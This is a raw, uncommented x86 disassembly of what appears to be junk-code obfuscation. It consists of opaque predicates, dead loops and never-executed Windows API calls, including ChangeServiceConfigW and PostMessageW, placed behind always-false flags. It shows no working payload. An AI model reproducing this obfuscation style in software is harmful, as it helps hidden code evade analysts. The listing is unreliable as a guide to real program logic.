mov dword [ebp + eax - 0x1f84], 0xd8a94b2a
jmp 0x46cc39
jmp 0x46cbd7
mov dword [ebp - 0xb0], 0
jmp 0x46cc95
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 1
jg 0x46d103
mov dword [ebp - 0xf0], 0xfffffffe
mov dword [ebp - 0x5e8], 0x63978472
mov dword [ebp - 0xd9c], 0xfffffff7
mov dword [ebp - 0xf0], 0
jmp 0x46ccd9
cmp dword [ebp - 0xf0], 1
jg 0x46cf97
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x244], 1
jmp 0x46cd09
mov eax, dword [ebp - 0x244]
dec eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
jl 0x46cd36
mov dword [ebp - 0x23c0], 0x825062d7
mov eax, dword [ebp - 0x23c0]
mov dword [ebp - 0x3d4], eax
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x5f0], eax
jmp 0x46ccfc
mov dword [ebp - 0x3d4], 2
jmp 0x46cd4f
cmp dword [ebp - 0x3d4], 0
jl 0x46cf92
mov dword [ebp - 0x3dc], 2
jmp 0x46cfb0
cmp dword [ebp - 0x3dc], 0
jl 0x46d0fe
mov dword [ebp - 0x7ec], 0xfff6
mov eax, dword [ebp - 0x5e8]
mov dword [ebp - 0x2cec], eax
cmp dword [ebp - 0x7e4], 0
jne 0x46cff6
mov eax, dword [ebp - 0xb0]
sub eax, dword [ebp - 0x7ec]
cmp eax, 5
je 0x46cff6
mov dword [ebp - 0xd8c], 1
cmp dword [ebp - 0xd8c], 0x87e338ae
ja 0x46d01e
jmp 0x46cc88
jmp 0x46cb89
mov dword [ebp - 0x154], 0
jmp 0x46d121
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 3
jge 0x46d13d
mov eax, dword [ebp - 0x154]
mov dword [ebp + eax*4 - 0x3288], 0x395830af
jmp 0x46d114
mov dword [ebp - 0x7f4], 5
mov dword [ebp - 0x1eb4], 0xafd9
mov dword [ebp - 0x1eb0], 0xafd9
mov dword [ebp - 0x1eac], 0xafd9
mov dword [ebp - 0x1ea8], 0xafd9
mov dword [ebp - 0x1d08], 0xfffffff6
mov dword [ebp - 0x2cfc], 0xf8b8
mov dword [ebp - 0x7f4], 0xffffffed
jmp 0x46d19c
mov eax, dword [ebp - 0x7f4]
inc eax
mov dword [ebp - 0x7f4], eax
cmp dword [ebp - 0x7f4], 0xfffffff3
jg 0x46d399
mov dword [ebp - 0x5f8], 0xfffffffb
mov dword [ebp - 0x5f8], 0xfffffffe
jmp 0x46d1cc
mov eax, dword [ebp - 0x5f8]
dec eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0xffffffe6
jl 0x46d394
mov dword [ebp - 0x128], 0xfffffffd
mov dword [ebp - 0x24a0], 0xf617a941
mov dword [ebp - 0x128], 3
jmp 0x46d206
cmp dword [ebp - 0x128], 0
jl 0x46d38f
mov eax, dword [ebp - 0x128]
mov eax, dword [ebp + eax*4 - 0x1eb4]
mov dword [ebp - 0x23e8], eax
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x23e8]
mov dword [ebp + eax*4 - 0x1eb4], ecx
mov dword [ebp - 0x1d08], 0xffffffff
mov eax, dword [ebp - 0x128]
cmp dword [ebp + eax*4 - 0x1eb4], 0
je 0x46d2d7
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1eb4], 1
jne 0x46d272
push 3
pop eax
test eax, eax
jne 0x46d2e7
jmp 0x46d1bf
jmp 0x46d18f
cmp dword [ebp - 0xc0], 0
jne 0x46d490
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x2d04], eax
mov eax, 0xbdac842f
test eax, eax
jne 0x46d3cd
cmp dword [ebp - 0xc0], 0
jne 0x46d3cd
and dword [ebp - 0xdc4], 0
jmp 0x46d3d7
mov dword [ebp - 0xdc4], 1
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0xdc4], eax
jge 0x46d3f1
mov dword [ebp - 0xb14], 1
jmp 0x46d3f8
and dword [ebp - 0xb14], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb14]
mov dword [ebp + eax - 0x2590], ecx
cmp dword [ebp - 0xb14], 0
jne 0x46d436
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2590], 0
jne 0x46d436
cmp dword [ebp - 0xc0], 0
jne 0x46d436
mov dword [ebp - 0x1d10], 1
mov eax, dword [ebp - 0xc0]
imul eax, dword [ebp - 0x1d10]
mov dword [ebp - 0x81c], eax
cmp dword [ebp - 0x81c], 4
jbe 0x46d468
mov dword [ebp - 0xdcc], 1
jmp 0x46d46f
and dword [ebp - 0xdcc], 0
mov eax, dword [ebp - 0xdcc]
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0
jne 0x46d490
and dword [ebp - 0x24a8], 0
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x2d0c], eax
mov eax, 0xd764ce34
test eax, eax
jne 0x46d4ba
or eax, 0xffffffff
jne 0x46d4ba
and dword [ebp - 0x1d18], 0
jmp 0x46d4c4
mov dword [ebp - 0x1d18], 1
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0x1d18], eax
jge 0x46d4de
mov dword [ebp - 0x24b0], 1
jmp 0x46d4e5
and dword [ebp - 0x24b0], 0
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x2d14], eax
mov eax, 0xacd4a797
test eax, eax
jne 0x46d506
mov dword [ebp - 0xdd4], 1
jmp 0x46d50d
and dword [ebp - 0xdd4], 0
mov eax, dword [ebp - 0x618]
cmp dword [ebp - 0xdd4], eax
je 0x46d534
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2590], 0
jne 0x46d534
mov dword [ebp - 0x1d20], 1
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0x1d20]
jg 0x46d558
cmp dword [ebp + 8], 1
jne 0x481dee
mov dword [ebp - 0xd8], 0xfcb5
mov dword [ebp - 0x23c], 1
mov dword [ebp - 0x158], 0x79753589
mov dword [ebp - 0x8e8], 0
jmp 0x476e9d
mov eax, dword [ebp - 0x8e8]
inc eax
mov dword [ebp - 0x8e8], eax
cmp dword [ebp - 0x8e8], 2
jge 0x476eb9
mov eax, dword [ebp - 0x8e8]
mov dword [ebp + eax*4 - 0x1f6c], 0x1cf0
jmp 0x476e90
cmp dword [ebp - 0xd8], 0
je 0x476ece
mov dword [ebp - 0x22f8], 1
jmp 0x476ed5
and dword [ebp - 0x22f8], 0
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jne 0x476efc
cmp dword [ebp - 0xd8], 0
jne 0x476efc
and dword [ebp - 0x15c4], 0
jmp 0x476f06
mov dword [ebp - 0x15c4], 1
cmp dword [ebp - 0x15c4], 1
jge 0x476f1b
mov dword [ebp - 0x1c64], 1
jmp 0x476f22
and dword [ebp - 0x1c64], 0
mov eax, dword [ebp - 0xd8]
cmp dword [ebp - 0x1c64], eax
jl 0x476f3c
mov dword [ebp - 0x15cc], 1
jmp 0x476f43
and dword [ebp - 0x15cc], 0
mov eax, dword [ebp - 0xd8]
cmp eax, dword [ebp - 0x15cc]
jg 0x476f5d
mov dword [ebp - 0x1a34], 1
jmp 0x476f64
and dword [ebp - 0x1a34], 0
mov eax, dword [ebp - 0x1a34]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x23c], 0
jmp 0x476f89
mov eax, dword [ebp - 0x23c]
dec eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0xffffffed
jg 0x47735b
mov dword [ebp - 0xac], 0
mov dword [ebp - 0x1a44], 0x96bc
mov dword [ebp - 0x778], 0
jmp 0x476fc3
mov eax, dword [ebp - 0x778]
inc eax
mov dword [ebp - 0x778], eax
cmp dword [ebp - 0x778], 1
jge 0x476fdf
mov eax, dword [ebp - 0x778]
mov dword [ebp + eax*4 - 0x23d4], 0xffffffff
jmp 0x476fb6
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xd8], 0
jmp 0x477004
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x30
jge 0x477356
mov dword [ebp - 0xa5c], 0xa9cbde6b
mov dword [ebp - 0x15dc], 1
mov dword [ebp - 0x15fc], 0xad446302
mov dword [ebp - 0x870], 0
jmp 0x477048
mov eax, dword [ebp - 0x870]
inc eax
mov dword [ebp - 0x870], eax
cmp dword [ebp - 0x870], 2
jge 0x477064
mov eax, dword [ebp - 0x870]
mov dword [ebp + eax*4 - 0x2b98], 0x949389d0
jmp 0x47703b
mov dword [ebp - 0x158], 0
jmp 0x47707d
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 2
jge 0x477099
mov eax, dword [ebp - 0x158]
mov dword [ebp + eax*4 - 0x1f6c], 1
jmp 0x477070
mov dword [ebp - 0xac], 0
jmp 0x4770b2
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 1
jg 0x477351
mov dword [ebp - 0x1d74], 0x85b8eeb3
mov dword [ebp - 0x780], 0
jmp 0x4770e2
mov eax, dword [ebp - 0x780]
inc eax
mov dword [ebp - 0x780], eax
cmp dword [ebp - 0x780], 3
jge 0x4770fe
mov eax, dword [ebp - 0x780]
mov dword [ebp + eax*4 - 0x2e84], 0x401cea02
jmp 0x4770d5
mov eax, dword [ebp - 0xac]
cmp dword [ebp + eax*4 - 0x1f6c], 0
jne 0x4772f5
cmp dword [ebp - 0xac], 0
je 0x47722e
cmp dword [ebp - 0xac], 0
je 0x4771ea
mov eax, dword [ebp - 0xa5c]
imul eax, dword [ebp - 0xac]
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x1f6c]
jne 0x477154
mov dword [ebp - 0x15d4], 1
jmp 0x47715b
and dword [ebp - 0x15d4], 0
mov eax, dword [ebp - 0x15d4]
neg eax
je 0x47716c
cmp dword [ebp - 0x23c], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp + eax*4 - 0x1f6c], 0
je 0x477191
cmp dword [ebp - 0xac], 0
je 0x477191
mov dword [ebp - 0x1df4], 1
jmp 0x477198
and dword [ebp - 0x1df4], 0
mov eax, dword [ebp - 0x1df4]
mov dword [ebp - 0x15dc], eax
cmp dword [ebp - 0x15dc], 0x9f4a
jg 0x4771bc
mov dword [ebp - 0xb58], 1
jmp 0x4771c3
and dword [ebp - 0xb58], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xb58]
mov dword [ebp + eax - 0x2e84], ecx
cmp dword [ebp - 0xb58], 0
je 0x4771ea
mov dword [ebp - 0x1a3c], 1
jmp 0x4771f1
and dword [ebp - 0x1a3c], 0
cmp dword [ebp - 0x1a3c], 0xfffffff9
jle 0x477206
mov dword [ebp - 0x2160], 1
jmp 0x47720d
and dword [ebp - 0x2160], 0
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x3098], eax
cmp dword [ebp - 0x1a44], 0
je 0x47722e
mov dword [ebp - 0x15e4], 1
jmp 0x477235
and dword [ebp - 0x15e4], 0
mov eax, dword [ebp - 0xa5c]
cmp dword [ebp - 0x15e4], eax
jge 0x47724f
mov dword [ebp - 0x1c6c], 1
jmp 0x477256
and dword [ebp - 0x1c6c], 0
mov eax, dword [ebp - 0x1c6c]
mov dword [ebp - 0x15fc], eax
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xa5c]
lea eax, [eax + ecx - 0x2c4c1dc0]
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
je 0x4772a0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2e84], 0
je 0x4772a0
mov dword [ebp - 0x15ec], 1
jmp 0x4772a7
and dword [ebp - 0x15ec], 0
mov eax, dword [ebp - 0x15ec]
sub eax, dword [ebp - 0xac]
cmp eax, dword [ebp - 0x1a44]
jg 0x4772c7
mov dword [ebp - 0x15f4], 1
jmp 0x4772ce
and dword [ebp - 0x15f4], 0
mov eax, dword [ebp - 0x15f4]
mov dword [ebp - 0x1d74], eax
cmp dword [ebp - 0x1d74], 0
jne 0x4772f5
cmp dword [ebp - 0x15fc], 0
jne 0x4772f5
and dword [ebp - 0x1a4c], 0
jmp 0x4772ff
mov dword [ebp - 0x1a4c], 1
mov eax, dword [ebp - 0xac]
add eax, dword [ebp - 0x1a4c]
cmp eax, dword [ebp - 0x23c]
jle 0x47731f
mov dword [ebp - 0xaec], 1
jmp 0x477326
and dword [ebp - 0xaec], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xaec]
mov dword [ebp + eax - 0x23d4], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xaec]
mov dword [ebp + eax - 0x2b98], ecx
jmp 0x4770a5
jmp 0x476ff7
jmp 0x476f7c
mov dword [ebp - 0x160], 0xdb3ae355
mov dword [ebp - 0x330], 0xffffffff
mov dword [ebp - 0x928], 0xade661fb
mov dword [ebp - 0x160], 0
jmp 0x477392
mov eax, dword [ebp - 0x160]
dec eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0xfffffffa
jl 0x477708
mov dword [ebp - 0x10c], 0x83111738
mov dword [ebp - 0x2974], 0xffffffff
mov dword [ebp - 0x2dc8], 1
mov dword [ebp - 0x297c], 0xffbdd2a4
mov dword [ebp - 0x2fb8], 0xc8c580b
mov dword [ebp - 0x1a6c], 0x1a7003b
cmp dword [ebp - 0x10c], 0
jne 0x4773f0
mov dword [ebp - 0x1604], 1
jmp 0x4773f7
and dword [ebp - 0x1604], 0
mov eax, dword [ebp - 0x1604]
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x2984], eax
push 8
pop eax
cmp eax, 1
jge 0x477423
mov dword [ebp - 0x1c74], 1
jmp 0x47742a
and dword [ebp - 0x1c74], 0
cmp dword [ebp - 0x1c74], 0xe997
jl 0x477442
mov dword [ebp - 0x160c], 1
jmp 0x477449
and dword [ebp - 0x160c], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x160c], eax
je 0x47745e
cmp dword [ebp - 0x160], 0
cmp dword [ebp - 0x10c], 5
jle 0x477473
mov dword [ebp - 0x1a54], 1
jmp 0x47747a
and dword [ebp - 0x1a54], 0
mov eax, dword [ebp - 0x330]
mov dword [ebp - 0x928], eax
mov eax, dword [ebp - 0x928]
cmp eax, dword [ebp - 0x1a54]
je 0x4774a0
mov dword [ebp - 0x1614], 1
jmp 0x4774a7
and dword [ebp - 0x1614], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x1614], eax
jne 0x4774c1
mov dword [ebp - 0x1e90], 1
jmp 0x4774c8
and dword [ebp - 0x1e90], 0
mov eax, dword [ebp - 0x330]
imul eax, dword [ebp - 0x1e90]
cmp eax, dword [ebp - 0x160]
jge 0x4774e9
mov dword [ebp - 0x161c], 1
jmp 0x4774f0
and dword [ebp - 0x161c], 0
cmp dword [ebp - 0x161c], 0
je 0x477505
mov dword [ebp - 0x1a5c], 1
jmp 0x47750c
and dword [ebp - 0x1a5c], 0
mov eax, dword [ebp - 0x1a5c]
mov dword [ebp - 0x330], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x2dd0], eax
cmp dword [ebp - 0x10c], 1
jg 0x477539
mov dword [ebp - 0x1624], 1
jmp 0x477540
and dword [ebp - 0x1624], 0
mov eax, dword [ebp - 0x10c]
imul eax, dword [ebp - 0x1624]
test eax, eax
jne 0x477563
mov eax, 0x8f8f6a1c
test eax, eax
jne 0x477563
and dword [ebp - 0x1c7c], 0
jmp 0x47756d
mov dword [ebp - 0x1c7c], 1
mov eax, dword [ebp - 0x160]
cmp dword [ebp - 0x1c7c], eax
jle 0x47758e
cmp dword [ebp - 0x160], 0
je 0x477589
jmp 0x477708
jmp 0x477703
mov dword [ebp - 0x2168], 0x5013
mov dword [ebp - 0xa64], 0xffffffff
mov dword [ebp - 0x298c], 1
mov dword [ebp - 0x928], 1
cmp dword [ebp - 0x928], 0
je 0x4775d4
cmp dword [ebp - 0x2168], 0
je 0x4775d4
mov dword [ebp - 0x162c], 1
jmp 0x4775db
and dword [ebp - 0x162c], 0
mov eax, dword [ebp - 0x162c]
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0xb0be
jge 0x4775ff
mov dword [ebp - 0x1a64], 1
jmp 0x477606
and dword [ebp - 0x1a64], 0
mov eax, dword [ebp - 0x1a64]
mov dword [ebp - 0xa64], eax
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x3050], eax
mov eax, dword [ebp - 0xa64]
mov dword [ebp - 0x2994], eax
cmp dword [ebp - 0xa64], 0
je 0x477645
mov eax, 0xffff
test eax, eax
je 0x477645
and dword [ebp - 0x1634], 0
jmp 0x47764f
mov dword [ebp - 0x1634], 1
cmp dword [ebp - 0x1634], 4
jbe 0x477664
mov dword [ebp - 0x1d7c], 1
jmp 0x47766b
and dword [ebp - 0x1d7c], 0
imul eax, dword [ebp - 0x1d7c], 5
add eax, dword [ebp - 0x10c]
cmp eax, 0x4730
jge 0x47768b
mov dword [ebp - 0x163c], 1
jmp 0x477692
and dword [ebp - 0x163c], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x163c], eax
je 0x4776ad
cmp dword [ebp - 0x330], 0
je 0x4776ab
jmp 0x477708
jmp 0x477703
mov dword [ebp - 0x2dd8], 0x179b2c39
mov dword [ebp - 0x299c], 0xffffffff
mov dword [ebp - 0x788], 0
jmp 0x4776da
mov eax, dword [ebp - 0x788]
inc eax
mov dword [ebp - 0x788], eax
cmp dword [ebp - 0x788], 3
jge 0x4776f6
mov eax, dword [ebp - 0x788]
mov dword [ebp + eax*4 - 0x342c], 0x807c1f4b
jmp 0x4776cd
mov eax, dword [ebp - 0x1a6c]
inc eax
mov dword [ebp - 0x1a6c], eax
jmp 0x477385
mov dword [ebp - 0x9c], 0xfffffffc
mov dword [ebp - 0x878], 0xaef6e229
mov dword [ebp - 0x2178], 0xfffc
mov dword [ebp - 0x9c], 7
jmp 0x47773f
mov eax, dword [ebp - 0x9c]
dec eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 4
jge 0x477c5c
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x338], 1
mov dword [ebp - 0x8c], 0
jmp 0x477779
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jge 0x477795
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x1e7c], 0
jmp 0x47776c
mov dword [ebp - 0x8c], 0
jmp 0x4777ae
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x4777ca
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x2664], 1
jmp 0x4777a1
mov dword [ebp - 0x8c], 0
jmp 0x4777e3
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 3
jge 0x4777ff
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x31bc], 1
jmp 0x4777d6
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e7c]
mov dword [ebp - 0x2fc0], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1e7c]
dec eax
mov dword [ebp - 0x340], eax
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x340], eax
je 0x47783f
mov dword [ebp - 0x1644], 1
jmp 0x477846
and dword [ebp - 0x1644], 0
cmp dword [ebp - 0x1644], 0x4b69
jg 0x47785e
mov dword [ebp - 0x1c84], 1
jmp 0x477865
and dword [ebp - 0x1c84], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e7c]
cmp dword [ebp - 0x1c84], eax
je 0x477886
mov dword [ebp - 0x164c], 1
jmp 0x47788d
and dword [ebp - 0x164c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1e7c]
cmp dword [ebp - 0x164c], eax
jl 0x4778ae
mov dword [ebp - 0x1a74], 1
jmp 0x4778b5
and dword [ebp - 0x1a74], 0
cmp dword [ebp - 0x1a74], 1
jbe 0x4778ca
mov dword [ebp - 0x1654], 1
jmp 0x4778d1
and dword [ebp - 0x1654], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e7c]
imul eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x1654]
je 0x4778f9
mov dword [ebp - 0x1a94], 1
jmp 0x477900
and dword [ebp - 0x1a94], 0
mov eax, dword [ebp - 0x338]
cmp dword [ebp - 0x1a94], eax
je 0x47791a
mov dword [ebp - 0x165c], 1
jmp 0x477921
and dword [ebp - 0x165c], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x165c], eax
jle 0x47793b
mov dword [ebp - 0x1a7c], 1
jmp 0x477942
and dword [ebp - 0x1a7c], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x1a7c], eax
jl 0x47795c
mov dword [ebp - 0x1664], 1
jmp 0x477963
and dword [ebp - 0x1664], 0
cmp dword [ebp - 0x1664], 0x1f19
jle 0x47797b
mov dword [ebp - 0x1a98], 1
jmp 0x477982
and dword [ebp - 0x1a98], 0
mov eax, dword [ebp - 0x338]
cmp dword [ebp - 0x1a98], eax
jl 0x47799c
mov dword [ebp - 0x166c], 1
jmp 0x4779a3
and dword [ebp - 0x166c], 0
mov eax, dword [ebp - 0x338]
cmp dword [ebp - 0x166c], eax
jl 0x4779bd
mov dword [ebp - 0x1a84], 1
jmp 0x4779c4
and dword [ebp - 0x1a84], 0
cmp dword [ebp - 0x1a84], 1
ja 0x4779d9
mov dword [ebp - 0xaf8], 1
jmp 0x4779e0
and dword [ebp - 0xaf8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xaf8]
mov dword [ebp + eax - 0x2664], ecx
mov eax, dword [ebp - 0xaf8]
sub eax, dword [ebp - 0x338]
je 0x477a1d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1e7c], 0
je 0x477a1d
mov dword [ebp - 0x1674], 1
jmp 0x477a24
and dword [ebp - 0x1674], 0
mov eax, dword [ebp - 0x9c]
add eax, dword [ebp - 0x1674]
sub eax, dword [ebp - 0x338]
cmp eax, 7
je 0x477a47
mov dword [ebp - 0x2300], 1
jmp 0x477a4e
and dword [ebp - 0x2300], 0
cmp dword [ebp - 0x9c], 7
jae 0x477a6c
cmp dword [ebp - 0x9c], 0
je 0x477a6c
mov dword [ebp - 0x1aa0], 1
jmp 0x477a73
and dword [ebp - 0x1aa0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e7c]
mov dword [ebp - 0x878], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1e7c]
add eax, dword [ebp - 0x1aa0]
cmp dword [ebp - 0x878], eax
jle 0x477aad
mov dword [ebp - 0x167c], 1
jmp 0x477ab4
and dword [ebp - 0x167c], 0
cmp dword [ebp - 0x167c], 0xfffffffb
je 0x477ac9
mov dword [ebp - 0x2170], 1
jmp 0x477ad0
and dword [ebp - 0x2170], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x29a4], eax
cmp dword [ebp - 0x9c], 5
jae 0x477af1
mov dword [ebp - 0x1a8c], 1
jmp 0x477af8
and dword [ebp - 0x1a8c], 0
mov eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0x1a8c]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x31bc]
jle 0x477b20
mov dword [ebp - 0x1684], 1
jmp 0x477b27
and dword [ebp - 0x1684], 0
mov eax, dword [ebp - 0x338]
cmp dword [ebp - 0x1684], eax
jne 0x477b41
mov dword [ebp - 0x1aa8], 1
jmp 0x477b48
and dword [ebp - 0x1aa8], 0
mov eax, dword [ebp - 0x9c]
push 0xfffffffffffffffc
pop eax
cmp eax, 0x3bc6c2db
jb 0x477ba7
mov dword [ebp - 0x248c], 0x2b6
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2664]
mov dword [ebp - 0x2de0], eax
mov eax, dword [ebp - 0x248c]
cmp dword [ebp - 0x878], eax
je 0x477b8f
mov dword [ebp - 0x168c], 1
jmp 0x477b96
and dword [ebp - 0x168c], 0
mov eax, dword [ebp - 0x168c]
mov dword [ebp - 0x340], eax
jmp 0x477c57
mov eax, dword [ebp - 0x2178]
imul eax, dword [ebp - 0x878]
cmp eax, 0xe228c51f
ja 0x477c0c
mov dword [ebp - 0x340], 2
jmp 0x477bd4
mov eax, dword [ebp - 0x340]
dec eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0
jl 0x477c0a
mov byte [ebp - 0x286], 0
movzx eax, byte [ebp - 0x286]
test eax, eax
je 0x477c08
push 0x18e6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
jmp 0x477bc7
jmp 0x477c34
mov byte [ebp - 0x2c2], 0
movzx eax, byte [ebp - 0x2c2]
test eax, eax
je 0x477c34
push 0
push 0
push 0x1c2d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
mov byte [ebp - 0x288], 0
movzx eax, byte [ebp - 0x288]
test eax, eax
je 0x477c57
push 0
push 0x622
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
jmp 0x477732
mov dword [ebp - 0xe84], 0xfa7
mov dword [ebp - 0x540], 0xffffffff
mov dword [ebp - 0xbb8], 0xfffffffb
mov dword [ebp - 0x29ac], 0x6d8d3833
xor eax, eax
inc eax
je 0x477cf0
mov dword [ebp - 0x790], 0x9a3df603
mov dword [ebp - 0x30e4], 0xffffffff
mov dword [ebp - 0x29b4], 0xffffffff
mov dword [ebp - 0x790], 0x14
jmp 0x477cc0
mov eax, dword [ebp - 0x790]
dec eax
mov dword [ebp - 0x790], eax
cmp dword [ebp - 0x790], 0xd
jl 0x477ce2
mov dword [ebp - 0x2de8], 0xffffffff
mov eax, dword [ebp - 0xe84]
inc eax
mov dword [ebp - 0xe84], eax
jmp 0x477cb3
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0xbb8], eax
jmp 0x477d56
mov byte [ebp - 0x331], 0
movzx eax, byte [ebp - 0x331]
test eax, eax
je 0x477d27
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x1b2d
push 0x25dc
push 0x1633
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov dword [ebp - 0x540], 0xfffffffc
jmp 0x477d40
mov eax, dword [ebp - 0x540]
dec eax
mov dword [ebp - 0x540], eax
cmp dword [ebp - 0x540], 0xffffffe8
jne 0x477d56
cmp dword [ebp - 0xbb8], 0
je 0x477d54
jmp 0x477d56
jmp 0x477d33
mov dword [ebp - 0x190], 0x4102
mov dword [ebp - 0xa6c], 0xf9b2cfb6
mov dword [ebp - 0x29bc], 0xfffffff7
mov dword [ebp - 0x2180], 0x6e82
mov dword [ebp - 0x2fc8], 0xffffffff
mov dword [ebp - 0x3c], 0
jmp 0x477d98
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x477dae
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x2e94], 0xfffffff9
jmp 0x477d91
mov dword [ebp - 0x3c], 0
jmp 0x477dbe
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jge 0x477dd4
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x2308], 0xee973417
jmp 0x477db7
mov dword [ebp - 0x3c], 0
jmp 0x477de4
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 4
jge 0x477dfa
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x34d0], 0x1fb8
jmp 0x477ddd
mov dword [ebp - 0x3c], 0
jmp 0x477e0a
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jge 0x477e20
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x8f0], 0xfffffff7
jmp 0x477e03
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2e94], 0
je 0x477e78
cmp dword [ebp - 0xa6c], 0
je 0x477e71
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8f0]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x8f0]
inc ecx
push 4
pop edx
imul edx, edx, 0
mov dword [ebp + edx - 0x8f0], ecx
test eax, eax
je 0x477e71
mov dword [ebp - 0xe90], 1
jmp 0x477e78
and dword [ebp - 0xe90], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2308], 0x3b3bbbb5
mov eax, 0x3b3bbbb5
test eax, eax
je 0x477eae
push 4
pop eax
imul eax, eax, 0
